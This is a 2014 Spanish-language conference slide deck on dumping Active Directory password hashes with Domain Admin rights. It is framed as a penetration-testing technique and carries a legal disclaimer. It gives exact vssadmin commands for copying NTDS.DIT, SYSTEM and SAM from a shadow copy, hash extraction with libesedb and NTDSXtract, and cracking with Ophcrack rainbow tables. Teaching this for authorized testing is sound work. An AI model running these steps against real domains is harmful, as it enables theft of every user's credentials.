26
Como obtener contraseñas del directorio activo con permisos de Domain Admin Ing. Pedro Joaquín @_hkm Reunión de la Comunidad Underground de México 2014 28 de junio del 2014

Obtener contraseñas del directorio activo por hkm

Embed Size (px)

DESCRIPTION

Dumpeando hashes del controlador de dominio por @_hkm Una plática rápida sobre una de las técnicas más redituables durante una prueba de penetración. Utilizando una cuenta con permisos de administrador de dominio mostraremos como dumpear todos los hashes en formato NTLM almacenados en el controlador de dominio del directorio activo.

Citation preview

Page 1: Obtener contraseñas del directorio activo por hkm

Como obtener contraseñas del directorio activo con permisos

de Domain Admin

Ing. Pedro Joaquín@_hkm

Reunión de la Comunidad Underground de México 2014

28 de junio del 2014

Page 2: Obtener contraseñas del directorio activo por hkm

Advertencia

• El propósito de esta presentación es demostrar de manera práctica una técnica conocida de obtención de las contraseñas del Directorio Activo a partir de una cuenta con permisos de Domain Admin.

• El autor, ni la organización que representa se responsabilizan por el mal uso que se le pueda dar a las técnicas mostradas a continuación.

• El acceso no autorizado a sistemas o equipos de computo, conocer, copiar, modificar o destruir información, y la intervención de cuentas de correo son delitos sancionados en el Código Penal Federal.

• Recomendamos informar a los usuarios que su contraseña puede ser observada por los administradores de la red.

Page 3: Obtener contraseñas del directorio activo por hkm

Tres simples pasos

1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.

2. Extraer los hashes de los archivos.

3. Descifrar (“Crackear”) los hashes.

Page 4: Obtener contraseñas del directorio activo por hkm

Tres simples pasos

1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.

2. Extraer los hashes de los archivos.

3. Descifrar (“Crackear”) los hashes.

Page 5: Obtener contraseñas del directorio activo por hkm

Copiar los archivos NTDS.DIT y SYSTEMCrear un Volume Shadow Copy,

Copiar los archivos del Volume Shadow,

Borrar la Volume Shadow Copy

Page 6: Obtener contraseñas del directorio activo por hkm

NTDS.DIT y SYSTEM

NTDS.DIT

Archivo donde se almacena toda la información del directorio activo. Se encuentra en %SystemRoot%\ntds\NTDS.DIT.

SYSTEM

Contiene el registro SYSTEM el cual contiene la bootkey (SYSKEY) necesaria para extraer los hashes del NTDS.DIT.

** Los archivos se encuentran protegidos para que no se puedan copiar fácilmente. Es necesario extraerlos de una Volume Shadow Copy

Page 7: Obtener contraseñas del directorio activo por hkm

Volume Shadow Copy

• El Volume Shadow Copy eres un sistema de respaldo de unidades de Windows que permite crear copias de archivos ocultos como el NTDS.DIT, SYSTEM, SAM, etc.

• Se puede utilizar el comando vssadmin list shadows para saber si existen copias creadas:

C:\>vssadmin list shadows

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool

(C) Copyright 2001 Microsoft Corp.

No items found that satisfy the query.

Page 8: Obtener contraseñas del directorio activo por hkm

Crear una Volume Shadow Copy

C:\>vssadmin create shadow /for=c:

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool

(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for ‘c:\’

Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}

Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Se utiliza el comando vssadmin create shadow /for=c: para crear una copia de la unidad c:

Page 9: Obtener contraseñas del directorio activo por hkm

Copiar los archivos del Volume Shadow Copy

• Comandos para copiar los archivos requeridos al directorio actual:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

[X] Es el identificador de la copia, ver diapositiva anterior.

En algunos sistemas como Windows 2003 y 2008 la ruta \windows\ puede variar a \WINNT\

Page 10: Obtener contraseñas del directorio activo por hkm

Para borrar la Volume Shadow Copy

C:\> vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

Page 11: Obtener contraseñas del directorio activo por hkm

Extracción de los hashesExtraer las tablas con libesedb

Extraer los hashes con NTDSXtract

Page 12: Obtener contraseñas del directorio activo por hkm

Extracción de los hashes

• Para extraer los hashes es necesario tener la tabla database y link del archivo NTDS.DIT y el archivo SYSTEM.

• Utilizaremos las herramientas de libesedb para extraer las tablas del NTDS.DIR y posteriormente ntdsxtract para utilizar las tablas y el SYSTEM para obtener los hashes.

• Estas herramientas corren en Linux.

Page 13: Obtener contraseñas del directorio activo por hkm

Descarga e instalación de libesedb

# wgethttp://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

# tar -xzvf libesedb-alpha-20120102.tar.gz

# cd libesedb-20120102

# ./configure

# make

# mv esedbtools/ /usr/local

# cd esedbtools/

Page 14: Obtener contraseñas del directorio activo por hkm

esedbexport (parte de libesedb)

• Syntaxis:

#./esedbexport –t <directorio de salida> <archivo ntds.dit>

• Este comando tardará mucho. Aprox 25 minutos. Si en 25 minutos parece que no esta avanzando hay que presionar Enter para actualizarlo.

• La salida de comando debe ser similar a la siguiente diapositiva…

Page 15: Obtener contraseñas del directorio activo por hkm

# ./esedbexport -t ~/ntds ~/ntds.ditesedbexport 20120102Opening file.

Exporting table 1 (MSysObjects) out of 11.Exporting table 2 (MSysObjectsShadow) out of 11.Exporting table 3 (MSysUnicodeFixupVer1) out of 11.Exporting table 4 (datatable) out of 11.Exporting table 5 (link_table) out of 11.Exporting table 6 (hiddentable) out of 11.Exporting table 7 (sdproptable) out of 11.Exporting table 8 (sd_table) out of 11.Exporting table 9 (quota_table) out of 11.Exporting table 10 (quota_rebuild_progress_table) out of 11.Exporting table 11 (MSysDefrag1) out of 11.Export completed.

Page 16: Obtener contraseñas del directorio activo por hkm

Nombres de archivos exportados

# ls ~/ntdis.export/

MSysObjects.0

MSysObjectsShadow.1

MSysUnicodeFixupVer1.2

datatable.3

link_table.4

hiddentable.5

sdproptable.6

sd_table.7

quota_table.8

quota_rebuild_progress_table.9

MSysDefrag1.10

• No utilizaremos todos los archivos, únicamente el datatable3, link_table.4 y el SYSTEM.

Page 17: Obtener contraseñas del directorio activo por hkm

Descarga e instalación de NTDSXtract

# wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip

# unzip ntdsxtract_v1_2_beta.zip

# cd ntdsxtract_v1_2_beta

Page 18: Obtener contraseñas del directorio activo por hkm

Extracción de hashes

• # python dsusers.py ~/ntds.export/datatable.3~/ntds.export/link_table.4 ~/TEMP --passwordhashes --lmoutfile LM.out --ntoutfile NT.out --pwdformat ophc --syshive ~/SYSTEM

• Se ejecuta un comando similar donde le estamos diciendo la ubicación del datatable.3, link_table.4 y SYSTEM y esperando el resultado de los hashes en formato ophc (Ophcrack). Nos generará dos archivos uno de hashes, uno para LM LM.out y otro de hashes NT NT.out.

Page 19: Obtener contraseñas del directorio activo por hkm

Descifrar (“Crackear”) los hashesDescargando Ophcrack,

Obteniendo las Rainbow Tables,

Crackeando los hashes

Page 20: Obtener contraseñas del directorio activo por hkm

Rainbow tables

• El cifrado NTLM se puede romper utilizando Rainbow Tables que son tablas precomputadas de hashes.

• Las tablas recomendadas ya que son relativamente pequeñas y se pueden obtener fácilmente son las XP_Special y las Vista_Special.

• Las tablas son gratuitas. El sitio oficial de las tablas es: http://sourceforge.net/projects/ophcrack/files/tables/ pero por simplicidad de la descarga y velocidad recomiendo utilizar los torrents de

• http://thepiratebay.se/torrent/4467431/Ophcrack_XP_Special_Tables

• http://thepiratebay.se/torrent/4403978/Ophcrack_Vista_Special_NTHASH_Table

Page 21: Obtener contraseñas del directorio activo por hkm

Descargando e instalando Ophcrack

• Ophcrack puede ser utilizado como un LiveCD o desde Windows.

• Se descarga de http://ophcrack.sourceforge.net/

• En este tutorial utilizaremos la versión de Windows, la configuración es la misma en la versión LiveCD de Linux.

• La diferencia principal es que la versión de LiveCD de Linux puede obtener automáticamente los hashes de la computadora donde se ejecuta.

Page 22: Obtener contraseñas del directorio activo por hkm

Utilizando Ophcrack

• En el menú principal de Ophcrack se seleccciona Load y PWDUMP file

• Abrimos el archivo de las contraseñas NT.out y/o LM.out

Page 23: Obtener contraseñas del directorio activo por hkm

Utilizando Ophcrack – Rainbow tables

• En el menú principal de Ophcrack se seleccciona Tables y posteriormente Install.

• Seleccionamos los directorios donde se encuentran las tablas Vista_special y XP_special.

• Se recomienda habilitar una tabla a la vez, primero con XP_special.

Page 24: Obtener contraseñas del directorio activo por hkm

Crackeando las contraseñas

• En el menú principal de Ophcrackseleccciona Crack.

• El proceso puede tomar varias horas, pero el resultado vale la pena…

Page 25: Obtener contraseñas del directorio activo por hkm

Como obtener contraseñas del directorio activo con permisos

de Domain Admin

Ing. Pedro Joaquín@_hkm

Reunión de la Comunidad Underground de México 2014

28 de junio del 2014

Page 26: Obtener contraseñas del directorio activo por hkm

Referencias

• Código Penal Federal, en materia de delitos en contra de medios o sistemas informáticos:

http://gaceta.diputados.gob.mx/Gaceta/61/2012/mar/20120328-III.html#DictamenaD2

• Getting Hashes from NTDS.dit file:

http://blog.walkerville.org/?p=486

• libesedb:

https://code.google.com/p/libesedb/

• NTDSXtract:

http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip

• Ophcrack:

http://ophcrack.sourceforge.net/